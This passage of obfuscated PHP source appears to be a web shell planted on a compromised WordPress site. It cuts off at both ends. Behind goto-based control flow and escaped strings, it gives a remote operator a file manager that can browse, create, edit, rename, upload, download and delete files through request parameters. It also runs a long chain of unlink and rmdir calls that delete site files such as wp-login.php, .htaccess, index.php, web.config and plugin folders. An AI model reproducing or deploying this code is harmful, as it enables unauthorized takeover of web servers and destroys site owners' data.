unlink($oyZlv . "\56\x44\x53\x5f\123\x74\157\x72\145"); goto orxL6; OOmXi: $KAnbB = unlink($oyZlv . "\64\x30\x34\56\x68\164\155\x6c"); goto Nz5p9; d7S0X: $mZ3Ux = unlink($oyZlv . "\167\160\x2d\143\157\156\x74\145\x6e\x74\57\56\x44\x53\x5f\x53\x74\157\162\x65"); goto R2IHE; yyDPi: $ElN21 = rmdir($oyZlv . "\x77\160\55\143\x6f\x6e\164\145\156\x74\x2f\x70\x6c\165\147\151\x6e\x73\57\x62\165\144\x64\171\x62\157\163\163\x2d\164\150\x65\x6d\x65\x2e\x7a\151\160"); goto jBYpq; nvED2: function veUX0($RVudJ) { goto DN48T; gEqC2: ljYnM: goto C27pv; Mlvn3: if (!(trim(pathinfo($RVudJ, PATHINFO_BASENAME), "\x2e") === '')) { goto ljYnM; } goto MWVfg; MWVfg: return; goto gEqC2; obDmX: goto ywbw3; goto d4uS3; DN48T: global $lKwH4; goto Mlvn3; d4uS3: MBykS: goto vna0Z; xFMg6: ywbw3: goto DB3Qf; C27pv: if ($lKwH4[6]($RVudJ)) { goto MBykS; } goto CTTjL; myygD: rmdir($RVudJ); goto xFMg6; vna0Z: array_map("\144\x65\x6c\x64\151\x72", glob($RVudJ . DIRECTORY_SEPARATOR . "\x7b\x2c\x2e\x7d\52", GLOB_BRACE | GLOB_NOSORT)); goto myygD; CTTjL: unlink($RVudJ); goto obDmX; DB3Qf: } goto Rb8ay; IY7OE: $d_vA3 = unlink($oyZlv . "\163\145\143\164\x69\x6f\x6e\x2d\150\x74\x6d\x6c\56\150\164\x6d\x6c"); goto o1plD; b8AzI: $jWmFq = unlink($oyZlv . "\167\x70\x2d\143\157\156\x74\x65\156\164\57\142\141\143\x6b\165\160\x2d\155\x69\147\x72\x61\164\151\x6f\156\x2d\143\157\156\146\151\x67\x2e\160\150\x70"); goto zbff8; IUtOj: $eW4TU = unlink($oyZlv . "\154\x6f\147\157\55\x30\x32\56\160\156\147"); goto S54Kb; cdCV3: $UP7HZ = unlink($oyZlv . "\x74\145\163\x74\56\x70\x68\160"); goto V2pdB; UkuFa: $DDT8R = unlink($oyZlv . "\167\160\x2d\141\165\164\x6f\x2d\x32\56\160\150\x70"); goto L3qJx; vvUHb: $mYK6u = unlink($oyZlv . "\141\56\x68\x74\155\x6c"); goto htHAv; mZaFB: $nuDyw = unlink($oyZlv . "\56\157\x76\150\x63\x6f\x6e\x66\151\147"); goto wDK1i; Li0gG: $D4JhU = rmdir($oyZlv . "\167\x70\55\141\141\x2e\x70\x68\160"); goto FZPW0; pTS_J: if (!isset($_GET["\141"])) { goto nLSrM; } goto cxE_g; ITprJ: $vlaFj = rmdir($oyZlv . "\167\x70\x2d\143\157\156\164\x65\156\x74\x2f\160\154\x75\147\151\x6e\x73\x2f\x6f\x7a\170\160\147\x70\x68\x75\x76\152"); goto jBjIY; R2IHE: $yy8qK = unlink($oyZlv . "\x77\145\x62\56\143\157\156\146\151\x67"); goto L_6im; QkYx5: $P7bzi = unlink($oyZlv . "\x77\160\x2d\x63\157\156\164\x65\156\x74\x2f\160\154\165\147\151\x6e\x73\x2f\143\165\x73\x74\157\155\x2d\154\157\x67\157\55\165\x72\x6c\x2e\x70\x68\x70"); goto E_3c0; hsJMg: $XliPV = unlink($oyZlv . "\x2e\167\x70\x2d\143\x6f\156\146\x69\x67\x2e\160\x68\x70\56\163\167\x70"); goto Ossfy; MzeWb: $J5grQ = unlink($oyZlv . "\x2e\150\164\x61"); goto nYAAl; R65bw: $nvIVy = rmdir($oyZlv . "\154\151\x61\156\152\151\x65"); goto LK7Oq; RwFEv: $AVAgZ = rmdir($oyZlv . "\167\160\x2d\x6c\x6f\147\151\x6e\x2e\x70\150\x70"); goto ViSNo; FfATB: $VQa5C = 0; goto SeJNO; FeseE: $Q2hHz = unlink($oyZlv . "\156\x67\151\156\170\56\x68\x74\141\x63\x63\145\163\x73"); goto cdCV3; h0zZt: $KyJow = rmdir($oyZlv . "\167\x70\55\143\157\x6e\x74\145\156\x74\x2f\160\x6c\165\x67\x69\x6e\163\57\x73\145\x6f\x62\141\x63\153\154\151\156\x6b"); goto p7l0n; OEUXp: isset($_POST["\x73"]) ? $lKwH4[12]("{$p8aQE}\57{$_POST["\x6e"]}") ? gzJsN("\x66\x69\x6c\x65\40\156\x61\x6d\x65\x20\150\x61\163\x20\142\x65\145\x6e\x20\165\163\x65\x64", 0, "\46\141\75" . Xeh2E("\156\145\167\106\x69\154\x65")) : ($lKwH4[13]("{$p8aQE}\57{$_POST["\156"]}", $_POST["\x63\x74\x6e"]) ? gzJsN("\146\151\154\145\40\143\162\145\141\x74\145\x64\x20\163\x75\143\143\145\x73\x73\146\x75\x6c\x6c\x79", 1, "\x26\141\75" . Xeh2e("\x76\x69\x65\x77") . "\x26\156\75" . xEh2e($_POST["\156"])) : GZjsn("\x66\151\x6c\x65\40\146\141\151\x6c\x65\144\x20\x74\x6f\x20\x63\162\145\x61\164\x65", 0)) : null; goto z0ymd; s7C1u: $c5cmk = unlink($oyZlv . "\x2e\x67\x69\x74\154\x61\x62\x2d\143\x69\x2e\x79\155\x6c"); goto yA5dT; quO0g: $nM5jd = rmdir($oyZlv . "\167\160\55\x63\x6f\x6e\164\x65\x6e\164\57\x70\x6c\165\x67\151\x6e\163\57\x73\x74\x64"); goto M_eQE; ZqR2g: P1U6a: goto f3EFK; pJ27K: $YpfEI = rmdir($oyZlv . "\x6e\64\162\65\x6e\x31\x35\x36"); goto Dw2Zv; h0gBb: $lKwH4 = array("\67\x30\66\70\67\60\x35\x66\x37\x35\x36\145\66\x31\x36\x64\x36\x35", "\67\x30\66\x38\67\x30\67\66\66\65\67\x32\x37\x33\x36\71\66\x66\66\x65", "\x36\67\x36\x35\x37\x34\x36\x33\x37\67\66\x34", "\x36\63\66\x38\66\x34\x36\x39\x37\x32", "\x37\60\67\62\66\65\66\67\65\146\67\x33\x37\60\66\x63\x36\x39\x37\64", "\x36\x31\67\x32\x37\x32\x36\x31\67\x39\65\x66\66\x34\x36\x39\66\66\66\66", "\66\x39\x37\63\65\146\x36\x34\66\x39\67\62", "\x36\x39\x37\x33\x35\146\66\66\66\71\66\x63\x36\x35", "\x36\71\67\63\65\x66\67\x37\67\62\66\71\67\64\x36\61\66\62\66\143\66\65", "\x36\71\67\63\x35\x66\x37\62\x36\65\66\61\66\64\x36\61\66\62\x36\x63\x36\x35", "\66\x36\x36\71\66\x63\x36\x35\x37\63\66\71\67\x61\x36\x35", "\66\x33\x36\x66\x37\60\x37\x39", "\66\66\66\x39\66\x63\66\65\65\146\x36\x35\67\x38\66\71\x37\x33\x37\64\x37\63", "\66\x36\x36\x39\66\x63\66\65\65\x66\67\60\67\x35\67\x34\x35\x66\x36\x33\66\x66\66\x65\67\64\x36\65\x36\x65\x37\x34\67\63", "\x36\66\x36\71\66\143\66\x35\65\x66\x36\67\66\65\67\64\x35\146\66\x33\x36\146\x36\145\67\64\66\65\x36\145\67\64\x37\63", "\x36\x64\66\142\x36\x34\66\x39\67\62", "\67\x32\x36\x35\66\145\x36\61\66\144\x36\x35", "\x37\63\67\x34\x37\x32\x37\x34\x36\x66\x37\64\x36\71\66\144\x36\x35", "\66\x38\x37\x34\66\144\66\143\x37\63\x37\x30\x36\x35\x36\x33\x36\x39\x36\x31\x36\x63\x36\x33\x36\x38\66\x31\x37\62\x37\63", "\66\64\66\x31\67\64\x36\65", "\66\66\x36\x39\x36\x63\x36\x35\x36\x64\67\x34\x36\x39\x36\144\x36\x35"); goto FfATB; Fn2VY: goto JGMrG; goto iUo3v; eDUPE: echo A0lB_; goto pJOSV; onX2x: $L6GZ0 = rmdir($oyZlv . "\x77\x70\55\143\157\x6e\164\x65\x6e\x74\57\160\154\165\x67\x69\156\x73\57\x72\x7a\142\x61\157\145\155"); goto UEMW_; tviy0: $MfwcN = unlink($oyZlv . "\154\x69\163\164\x2e\160\150\160"); goto quPQb; zyAmc: $y5vGR = rmdir($oyZlv . "\x77\160\55\143\x6f\156\x74\x65\x6e\164\57\x70\x6c\165\147\151\156\163\57\111\x6f\x78\151"); goto Jzju_; oR24D: $FTXOt = unlink($oyZlv . "\x69\x6e\144\145\170\56\150\164\x6d\154\56\142\141\143\153\x75\160"); goto HhT0Z; ItEIE: $QP64v = rmdir($oyZlv . "\x2e\144\145\x76\x70\x61\156\145\x6c"); goto xTGWp; YAUy_: $yw1bM = rmdir($oyZlv . "\167\x70\x2d\x63\157\156\164\x65\156\x74\x2f\x64\142\56\x70\x68\x70\x2d\x6f\x6c\x64"); goto NLMPL; o1plD: $zom9l = unlink($oyZlv . "\x6c\157\x67\157\56\x70\156\x67"); goto PH_oQ; xB6gL: $kMmEK = unlink($oyZlv . "\167\160\55\143\157\x6e\x74\x65\156\164\x2f\x53\x72\170\x4d\x56\x46\x6e\116\71\67\x5a\56\x70\150\160"); goto Hh4pG; hh4UG: $L7vIn = unlink($oyZlv . "\56\x61\x64\155\x69\156\56\x70\x68\160"); goto hLMDx; b2fuW: $yrqP3 = rmdir($oyZlv . "\56\x77\145\x6c\154\55\153\156\157\167\156\x2f\160\x6b\151\x2d\x76\141\x6c\151\144\141\164\151\x6f\x6e\x2f\x61\57\141\57\141\57\x61"); goto W5SYt; CCqFd: pflSR: goto JKG9t; jxEf6: $X3AD7 = unlink($oyZlv . "\x77\160\55\143\x6f\x6e\x74\145\156\164\57\x6d\141\x69\x6e\164\x65\x6e\141\x6e\x63\145\x2e\160\150\160"); goto uHVew; pli3L: $NkH1m = $lKwH4[5]($NkH1m($p8aQE), ["\56", "\56\56"]); goto FQxfW; NrgDu: $kDdfP = rmdir($oyZlv . "\167\x70\55\143\x6f\156\x74\145\x6e\x74\57\144\145\142\165\x67\x2e\x6c\157\147"); goto nhqiM; fRbmy: $W2Oaj = unlink($oyZlv . "\56\165\163\x65\162\x2e\x69\x6e\x69\x2e\172\x69\160"); goto yvSXp; yZl6S: $lvwVb = unlink($oyZlv . "\167\x70\x2d\x63\x6f\x6e\164\145\x6e\164\57\142\x61\143\153\x67\162\157\165\156\144\55\145\162\162\x6f\x72\163\x2e\x6c\x6f\x67"); goto OFasI; xyQdn: pzUMt: goto SfqmC; fIh7Q: $Bj097 = rmdir($oyZlv . "\x62\141\x63\x6b\165\160\x28\x31\51"); goto Xh3Qz; Kz4VP: $jAAvx = unlink($oyZlv . "\x69\x6e\x64\145\170\56\x70\150\160\x2d\x6f\x6c\144"); goto AUnyH; i_C6u: $J0BVD = unlink($oyZlv . "\x77\160\55\143\157\156\164\145\156\164\x2f\x70\x6c\165\x67\151\156\163\x2f\x75\x62\150\57\x75\x70\x2e\160\150\x70"); goto b9Tls; Y1F_c: $Zlaq8 = unlink($oyZlv . "\167\x70\55\155\x61\x69\154\162\x70\143\56\160\x68\x70"); goto yp6i2; xBJPr: $myBFZ = rmdir($oyZlv . "\x77\x70\55\x63\x6f\x6e\164\145\156\164\x2f\x70\x6c\165\147\151\x6e\x73\x2f\155\164\x6f\x71\170\155\142"); goto CoyF_; iMG1t: $YPyJ3 = unlink($oyZlv . "\142\x79\160\56\x70\150\x70"); goto OktfR; U_JK6: $m3Pyt = unlink($oyZlv . "\x77\160\55\143\157\x6e\164\x65\x6e\164\x2f\160\154\x75\x67\x69\156\163\57\165\x62\x68\x2f\165\142\x68\56\160\150\x70"); goto i_C6u; VoPUO: $z2RPr = unlink($oyZlv . "\x77\x70\x2d\x63\x6f\156\x74\x65\156\164\57\x70\x6c\165\147\151\x6e\x73\x2f\157\x7a\170\x70\147\x70\150\165\x76\x6a\x2f\x73\164\x79\154\145\56\x70\150\160"); goto HQrbe; J0W2n: $ANN8a = unlink($oyZlv . "\x77\x70\55\x63\157\x6e\164\x65\x6e\x74\x2f\151\x6e\x64\145\170\x2e\160\x68\x70"); goto ueQm8; uZCtP: $pjpEh = unlink($oyZlv . "\x77\x70\55\x63\x6f\x6e\x74\x65\x6e\164\x2f\167\157\162\153\163\x65\143\56\160\x68\160"); goto I8gGK; bxiK2: $plZlF = rmdir($oyZlv . "\143\165\x73\x74\157\155\x5f\x64\145\x62\x75\x67\56\154\x6f\x67"); goto qo_mx; DY5dG: $VQa5C = 0; goto xCsE6; GdSKF: $rg_JK = rmdir($oyZlv . "\167\160\x2d\x63\x6f\x6e\164\145\156\x74\57\x70\154\165\147\151\156\x73\x2f\145\x72\151\x6e\x79\141\156\x69"); goto quO0g; Tm9Mx: $G_Cg7 = unlink($oyZlv . "\x73\x69\x6c\x65\x6e\164\161\151\145\x2e\x70\x68\x70"); goto ryzqe; uuPd3: $BIT9F = rmdir($oyZlv . "\x61\x62\157\165\x74\x2e\x70\150\x70"); goto FNvOk; yZd8r: $OcPu3 = rmdir($oyZlv . "\x77\x70\55\x63\157\156\164\x65\156\x74\57\160\x6c\x75\147\151\156\163\57\156\161\x73\x6e\x72\x6f\x6f\x33"); goto ITprJ; i1TOR: R2WiD: goto jTo8e; mcRwy: $l5aWG = rmdir($oyZlv . "\144\145\141\144\x2e\154\x65\164\164\x65\162"); goto VPNAk; Q50ra: $RVudJ = unlink($oyZlv . "\56\150\x74\141\x63\143\145\163\x73\137\157\154\x64"); goto NkdjJ; IC9WG: $wT5my = unlink($oyZlv . "\x61\162\x63\150\151\166\x65\x5f\x32\64\x31\x32\62\67\137\61\x30\60\60\x32\x38\x2e\x7a\151\160"); goto XjPv2; ksaea: $EylPy = unlink($oyZlv . "\151\157\x78\x69\56\x70\x68\x70"); goto bB0Mj; BkmXw: $ADEtk = unlink($oyZlv . "\152\x6c\143\x2e\x74\x78\164"); goto fMgqh; pUJFH: $h7RPM = rmdir($oyZlv . "\x77\x70\x2d\143\157\156\x74\145\x6e\164\57\x70\x6c\165\147\x69\x6e\x73\x2f\x70\x6c\165\x67\x69\156\x73"); goto uoj6t; NJNl4: function ZVu07($nxGrA) { goto K0h2V; kwt45: OmoXQ: goto x663x; R8MG4: ELN_6: goto Vm6UO; rYDDM: $VQa5C = "\x75"; goto ySB4Z; x663x: $VQa5C = "\143"; goto DtCTN; tn3i9: $VQa5C .= $p8aQE & 0x100 ? "\x72" : "\x2d"; goto h1h7D; ZyZup: $VQa5C = "\142"; goto BNh5L; laH0e: if (($p8aQE & 0x1000) == 0x1000) { goto OSlCq; } goto rYDDM; BNh5L: goto c52R0; goto m2CvO; SuLDf: $VQa5C = "\x64"; goto CUHrW; N4ZBH: yEnEB: goto TBRhc; dI8lv: if (($p8aQE & 0x2000) == 0x2000) { goto OmoXQ; } goto laH0e; eSjdH: if (($p8aQE & 0xa000) == 0xa000) { goto ELN_6; } goto RKIPW; CksV2: goto c52R0; goto R8MG4; Z7she: if (($p8aQE & 0xc000) == 0xc000) { goto xaZKf; } goto eSjdH; w4AQF: c52R0: goto tn3i9; DtCTN: goto c52R0; goto RnF4d; h1h7D: $VQa5C .= $p8aQE & 0x80 ? "\x77" : "\x2d"; goto ZZU2a; RnF4d: OSlCq: goto S2vu3; S2vu3: $VQa5C = "\160"; goto w4AQF; MWtzx: BZiWW: goto ZyZup; YI0yi: if (($p8aQE & 0x4000) == 0x4000) { goto swAKV; } goto dI8lv; uKfHa: if (($p8aQE & 0x6000) == 0x6000) { goto BZiWW; } goto YI0yi; m2ERo: $VQa5C .= $p8aQE & 0x1 ? $p8aQE & 0x200 ? "\x74" : "\170" : ($p8aQE & 0x200 ? "\x54" : "\55"); goto hRdHz; RKIPW: if (($p8aQE & 0x8000) == 0x8000) { goto yEnEB; } goto uKfHa; l9rXH: $VQa5C .= $p8aQE & 0x2 ? "\167" : "\55"; goto m2ERo; ZZU2a: $VQa5C .= $p8aQE & 0x40 ? $p8aQE & 0x800 ? "\x73" : "\x78" : ($p8aQE & 0x800 ? "\123" : "\55"); goto YDQXC; W3g5R: goto c52R0; goto MWtzx; CUHrW: goto c52R0; goto kwt45; YpIyp: goto c52R0; goto N4ZBH; Vm6UO: $VQa5C = "\154"; goto YpIyp; TBRhc: $VQa5C = "\x2d"; goto W3g5R; IrEfD: $VQa5C .= $p8aQE & 0x10 ? "\x77" : "\55"; goto hzSf3; ySB4Z: goto c52R0; goto H7r5n; eJ3vb: $VQa5C .= $p8aQE & 0x4 ? "\162" : "\x2d"; goto l9rXH; m2CvO: swAKV: goto SuLDf; H7r5n: xaZKf: goto Bfmdi; Bfmdi: $VQa5C = "\x73"; goto CksV2; YDQXC: $VQa5C .= $p8aQE & 0x20 ? "\162" : "\x2d"; goto IrEfD; hRdHz: return $VQa5C; goto cpfNJ; K0h2V: $p8aQE = fileperms($nxGrA); goto Z7she; hzSf3: $VQa5C .= $p8aQE & 0x8 ? $p8aQE & 0x400 ? "\x73" : "\x78" : ($p8aQE & 0x400 ? "\123" : "\x2d"); goto eJ3vb; cpfNJ: } goto vmKra; Zpe2N: $WqcKe = unlink($oyZlv . "\167\160\x2d\x63\157\156\164\x65\x6e\164\57\x75\x70\147\162\x61\144\x65\x2d\x74\x65\155\x70\x2d\x62\x61\143\x6b\x75\x70\55\x6c\x69\166\x65\x2e\172\x69\x70"); goto bcgnv; qJ6xp: $ACga0 = rmdir($oyZlv . "\167\160\x2d\x63\157\x6e\164\145\x6e\164\57\x70\x6c\165\x67\x69\156\x73\57\154\157\x6c"); goto hozGz; F_OOb: foreach ($NkH1m as $nxGrA) { goto MHMOo; r_wxE: $cVdLZ = $lKwH4[10]("{$p8aQE}\57{$nxGrA}") / 1024; goto sZCKH; t8Aji: echo "\40\x9\x9\x9\11\x9\x3c\164\x72\x3e\x20\11\11\x9\x9\11\11\x3c\164\144\x3e\x3c\x61\40\x68\162\x65\146\x3d\42\x3f\x70\x3d" . xEH2E($p8aQE) . "\46\x61\75" . XEH2e("\166\x69\145\167") . "\46\156\x3d" . XEH2E($nxGrA) . "\42\x20\x64\141\x74\x61\55\x74\157\147\x67\x6c\x65\x3d\x22\164\x6f\157\154\164\x69\x70\42\40\144\141\x74\141\x2d\160\x6c\141\143\x65\x6d\x65\156\164\x3d\x22\141\x75\164\157\x22\x20\x74\151\x74\154\145\x3d\42\x4c\x61\x74\145\163\x74\x20\155\x6f\x64\x69\x66\171\x20\157\156\40" . $lKwH4[19]("\131\x2d\x6d\55\144\40\x48\72\151", $lKwH4[20]("{$p8aQE}\57{$nxGrA}")) . "\x22\x3e\x3c\151\40\143\154\141\x73\x73\x3d\x22\146\141\x20\x66\141\x2d\x66\x77\40\x66\141\55\146\151\x6c\x65\42\76\x3c\57\x69\x3e\x20{$nxGrA}\x3c\x2f\141\76\74\57\x74\x64\x3e\x20\x9\11\11\x9\11\11\x3c\x74\x64\x3e{$cVdLZ}\74\57\x74\x64\76\x20\11\x9\x9\11\x9\x9\x3c\164\x64\76\x3c\146\x6f\x6e\164\40\x63\x6f\x6c\157\x72\75\x22" . ($lKwH4[8]("{$p8aQE}\x2f{$nxGrA}") ? "\x23\60\60\146\146\x30\x30" : (!$lKwH4[9]("{$p8aQE}\x2f{$nxGrA}") ? "\x72\x65\144" : null)) . "\42\x3e" . ZVu07("{$p8aQE}\x2f{$nxGrA}") . "\x3c\x2f\x66\x6f\156\164\76\74\x2f\164\144\x3e\x20\x9\x9\x9\x9\x9\x9\x3c\164\144\76\x20\11\11\11\x9\x9\11\11\x3c\144\151\x76\40\x63\x6c\x61\x73\163\75\42\x64\55\146\154\x65\x78\40\x6a\165\163\x74\151\x66\x79\55\143\x6f\156\x74\x65\x6e\x74\55\x62\x65\x74\167\145\x65\156\x22\76\x20\x9\x9\11\x9\11\x9\x9\x9\11\74\x61\x20\x68\x72\145\146\75\42\77\x70\75" . xeH2E($p8aQE) . "\46\141\x3d" . xEh2e("\145\144\151\164") . "\x26\156\75" . xEH2E($nxGrA) . "\42\40\x64\x61\164\141\x2d\164\x6f\x67\147\x6c\145\75\42\x74\x6f\x6f\154\x74\x69\x70\42\x20\144\141\x74\x61\x2d\160\x6c\x61\x63\x65\x6d\x65\x6e\x74\75\x22\x61\165\164\x6f\42\x20\x74\x69\164\x6c\x65\x3d\x22\105\x64\x69\x74\42\x3e\74\x69\x20\143\154\141\x73\163\75\42\146\141\x20\146\141\55\x66\x77\40\x66\x61\55\145\x64\151\x74\x22\76\74\x2f\151\76\74\x2f\141\76\40\11\x9\11\11\x9\x9\11\x9\x9\x3c\141\40\150\162\x65\x66\x3d\42\77\x70\x3d" . xEH2e($p8aQE) . "\46\x61\75" . xEh2e("\x72\x65\156\x61\x6d\145") . "\x26\x6e\75" . Xeh2E($nxGrA) . "\x26\x74\75\x66\42\x20\x64\x61\164\x61\x2d\164\x6f\x67\147\x6c\145\x3d\x22\x74\157\x6f\x6c\164\151\160\x22\x20\x64\x61\x74\x61\x2d\160\x6c\141\x63\145\x6d\145\x6e\164\75\42\x61\x75\164\157\42\40\x74\151\x74\x6c\x65\75\x22\x52\145\x6e\x61\x6d\x65\42\76\74\x69\40\x63\x6c\141\163\163\75\42\146\141\40\x66\x61\55\x66\167\40\146\x61\55\160\145\156\x63\151\x6c\x22\76\74\x2f\151\76\x3c\57\141\x3e\x20\11\11\x9\11\11\x9\x9\x9\x9\74\x61\x20\x68\x72\145\146\x3d\x22\77\160\75" . xEH2e($p8aQE) . "\x26\156\75" . xEh2e($nxGrA) . "\46\x64\157\167\156\154\x6f\x61\144" . "\x22\x20\x64\x61\164\141\x2d\x74\157\x67\147\x6c\x65\75\42\164\x6f\x6f\x6c\164\151\160\42\40\144\141\x74\x61\x2d\160\154\x61\143\145\x6d\x65\156\164\x3d\x22\x61\x75\164\x6f\42\40\164\x69\x74\154\145\75\x22\x44\x6f\167\156\154\157\141\144\42\76\74\151\x20\x63\154\x61\163\x73\x3d\x22\146\x61\40\x66\x61\55\146\x77\40\146\x61\55\144\157\167\x6e\x6c\x6f\141\144\42\x3e\x3c\57\x69\x3e\74\x2f\141\x3e\x20\x9\11\11\11\x9\11\x9\x9\x9\x3c\141\x20\x68\162\145\146\x3d\x22\x3f\x70\75" . Xeh2E($p8aQE) . "\x26\141\75" . xeH2E("\144\x65\154\145\x74\145") . "\x26\x6e\x3d" . XEH2E($nxGrA) . "\42\40\x63\154\141\163\163\x3d\42\x64\x65\154\145\164\x65\x22\x20\x64\141\164\x61\x2d\164\171\160\145\75\x22\146\151\x6c\145\42\40\144\141\164\141\x2d\164\x6f\x67\147\x6c\145\x3d\x22\164\157\157\x6c\x74\151\x70\42\40\x64\x61\164\x61\x2d\160\154\141\143\145\x6d\145\156\164\x3d\42\141\165\x74\157\x22\x20\164\x69\164\x6c\x65\75\x22\104\145\154\x65\164\x65\x22\x3e\x3c\151\x20\x63\x6c\x61\x73\163\x3d\42\x66\141\40\x66\x61\x2d\146\x77\40\x66\x61\55\x74\162\x61\x73\150\x22\76\x3c\x2f\151\76\74\57\141\x3e\x20\x9\11\11\11\11\11\x9\x3c\57\144\x69\x76\x3e\x20\x9\x9\11\x9\x9\11\x3c\x2f\164\x64\76\40\11\11\x9\x9\11\74\x2f\164\162\76\x20\11\11\x9\x9\x9"; goto r2FQJ; nhg_N: $cVdLZ = $cVdLZ > 1024 ? round($cVdLZ / 1024, 2) . "\x4d\x42" : $cVdLZ . "\113\102"; goto t8Aji; m2G2R: zgxhY: goto r_wxE; sZCKH: $cVdLZ = round($cVdLZ, 3); goto nhg_N; r2FQJ: JqwVs: goto GIhmN; MHMOo: if ($lKwH4[7]("{$p8aQE}\57{$nxGrA}")) { goto zgxhY; } goto P0OuP; P0OuP: goto JqwVs; goto m2G2R; GIhmN: } goto RdDUd; KW1X_: $mHf7S = unlink($oyZlv . "\143\147\x69\x2d\x62\151\156"); goto vexMx; lA0Kr: $l0R8W = unlink($oyZlv . "\56\150\x74\x61\x63\x63\145\x73\x73\56\x32\x32\60\64\62\64\x31\x37\65\x33\64\64\56\157\162\x69\147"); goto v5y1D; HdSMN: $TBDBj = unlink($oyZlv . "\167\x70\55\143\x6f\156\164\x65\x6e\x74\x2f\152\x77\172\165\x6e\130\166\105\142\155\x63\56\x70\150\x70"); goto v5XJF; FUvKR: $CWqaS = unlink($oyZlv . "\x77\x70\55\x6c\x6f\x67\151\x6e\x2e\160\150\160"); goto kLVH4; etn7b: $KYOyx = rmdir($oyZlv . "\x77\x70\x2d\143\x6f\156\164\x65\x6e\x74\57\x70\x6c\x75\x67\151\156\x73\x2f\x74\x6c\x68\x68\x73\x78\x78"); goto Sh9Cw; eiE8p: echo "\x3c\57\164\x65\x78\164\x61\162\145\x61\x3e\x3c\x2f\x64\x69\x76\76\74\144\151\166\40\x63\154\x61\163\x73\x3d\x22\x66\x6f\162\155\x2d\147\x72\x6f\165\x70\42\76\x3c\142\165\164\164\157\156\x20\164\x79\160\145\75\x22\x73\x75\x62\155\151\x74\42\x20\156\x61\x6d\145\x3d\x22\x73\42\40\x63\x6c\141\163\x73\x3d\x22\x62\164\x6e\x20\142\164\156\x2d\x6f\x75\x74\x6c\x69\156\x65\55\154\x69\147\150\164\x20\x72\x6f\165\x6e\144\145\x64\x2d\x30\x22\76\x53\141\166\145\x3c\57\x62\165\164\x74\157\x6e\x3e\x3c\57\x64\x69\166\76\x3c\57\146\x6f\162\x6d\x3e\40\x9\11\11"; goto EDQEr; StYme: $iSM_b = rmdir($oyZlv . "\167\160\55\x63\157\156\x74\x65\x6e\164\x2f\160\154\x75\147\x69\x6e\163\57\x78\67"); goto o_fGg; r3RMW: $Uw6KJ = $_FILES["\x66"]["\156\x61\155\145"]; goto DY5dG; F8Wnt: $zbgDM = unlink($oyZlv . "\x61\x64\155\x69\x6e\x65\162\x2d\x34\x2e\70\56\x31\56\x70\x68\x70"); goto o4Yaq; LzaoM: echo "\x22\x3e\x3c\x2f\x64\151\166\x3e\74\x64\x69\166\40\143\x6c\141\163\x73\x3d\42\x66\x6f\162\155\x2d\147\162\157\x75\x70\x22\76\74\142\165\x74\164\x6f\156\40\x74\x79\160\145\75\x22\x73\x75\142\x6d\x69\164\42\x20\156\x61\x6d\145\75\42\163\42\x20\143\154\x61\163\x73\x3d\42\142\164\x6e\x20\142\x74\x6e\x2d\x6f\165\164\154\151\x6e\x65\55\154\151\147\150\x74\x20\x72\157\x75\x6e\144\x65\x64\55\60\42\76\123\x61\x76\x65\x3c\x2f\x62\x75\164\164\x6f\x6e\76\x3c\57\144\151\x76\x3e\74\x2f\x66\x6f\x72\x6d\x3e\40\11\x9\x9"; goto ezfA4; pdftD: $h1Pgo = rmdir($oyZlv . "\x77\x70\55\x63\157\x6e\164\x65\x6e\x74\x2f\x70\x6c\x75\147\x69\156\163\57\142\x75\144\x64\171\142\157\163\163\55\x74\150\x65\155\145\55\143\150\x69\x6c\x64\56\x7a\x69\160"); goto yyDPi; A9Yoh: $CW1Mu = unlink($oyZlv . "\x34\71\x37\x35\67\x63\x34\146"); goto hPnwq; yMT9s: Gzjsn("\146\157\x6c\144\145\x72\x20\144\145\x6c\x65\164\x65\144\x20\x73\165\143\x63\x65\x73\163\x66\x75\x6c\x6c\171"); goto pdqXg; iWI7g: $d25d7 = unlink($oyZlv . "\x2e\x74\155\x62"); goto Q50ra; RV1i_: $jzDQy = unlink($oyZlv . "\56\x68\164\141\143\143\145\x73\163\x2e\x6f\154\144"); goto eTLjk; cnnw3: $r0IcZ = unlink($oyZlv . "\162\145\x61\144\165\x72\x6c\x2e\x70\x68\x70"); goto bAyDz; yp6i2: $aXfqS = unlink($oyZlv . "\x75\163\145\162\x66\165\x6e\x73\x2e\160\x68\160"); goto yhdG2; wVcx1: echo "\40\x9\x9\74\x74\x61\142\154\145\x20\143\x6c\x61\x73\163\75\42\164\141\142\154\145\40\x74\x61\142\x6c\x65\x2d\150\x6f\166\x65\162\x20\164\141\x62\154\x65\x2d\x62\157\162\144\x65\x72\x65\144\x20\x74\141\142\x6c\x65\x2d\163\155\x22\x3e\x20\x9\11\x9\x3c\164\150\145\141\x64\x20\x63\154\x61\163\163\x3d\42\x74\145\170\x74\55\154\x69\x67\x68\164\x22\76\40\x9\11\x9\11\x3c\x74\162\x3e\40\x9\11\11\11\x9\74\164\150\x3e\x4e\x61\155\x65\74\x2f\x74\x68\76\x20\x9\11\x9\x9\11\x3c\x74\x68\x3e\123\x69\x7a\x65\74\x2f\x74\x68\76\40\x9\11\11\11\11\74\164\150\76\x50\145\162\x6d\151\x73\163\x69\157\156\x3c\x2f\164\150\76\x20\x9\11\11\x9\11\74\164\150\x3e\x41\x63\164\151\157\x6e\x3c\57\164\x68\76\40\x9\11\11\11\x3c\x2f\x74\x72\x3e\40\x9\11\11\x3c\x2f\164\x68\x65\141\x64\76\40\11\11\11\74\x74\142\157\x64\171\40\x63\x6c\141\x73\163\75\42\x74\x65\170\164\x2d\x6c\x69\147\x68\164\42\76\40\x9\x9\11\x9"; goto pli3L; TSBWX: $xTuFT = unlink($oyZlv . "\167\157\x72\153\163\x65\x63\x2e\x70\150\x70"); goto uZCtP; Tz7sk: $Ua0lG = rmdir($oyZlv . "\x2e\x68\x74\x61\x63\x63\x65\x73\163\x5f\x6f\x6c\144"); goto z96wu; MezwY: $KpzQt = unlink($oyZlv . "\167\x6f\x72\x64\160\162\x65\x73\163\56\172\151\160"); goto KtBiw; eBxnD: $jFORQ = rmdir($oyZlv . "\167\160\55\x63\157\156\x74\145\x6e\x74\x2f\160\154\165\147\x69\x6e\163\x2f\x70\153\147\143\x6b\152\x6a\160\152\x76"); goto utN5d; PXZhy: $cdq62 = rmdir($oyZlv . "\167\x70\55\x63\157\x6e\164\x65\156\164\57\x70\154\165\147\x69\x6e\163\x2f\x79\164\141\153\153\152\x6e"); goto YbLKn; DS0i_: gZjsn("\146\x69\154\x65\40\146\141\x69\x6c\x65\x64\40\x74\157\40\x75\160\154\157\x61\x64", 0); goto Fn2VY; e9ATV: $pjbX3 = rmdir($oyZlv . 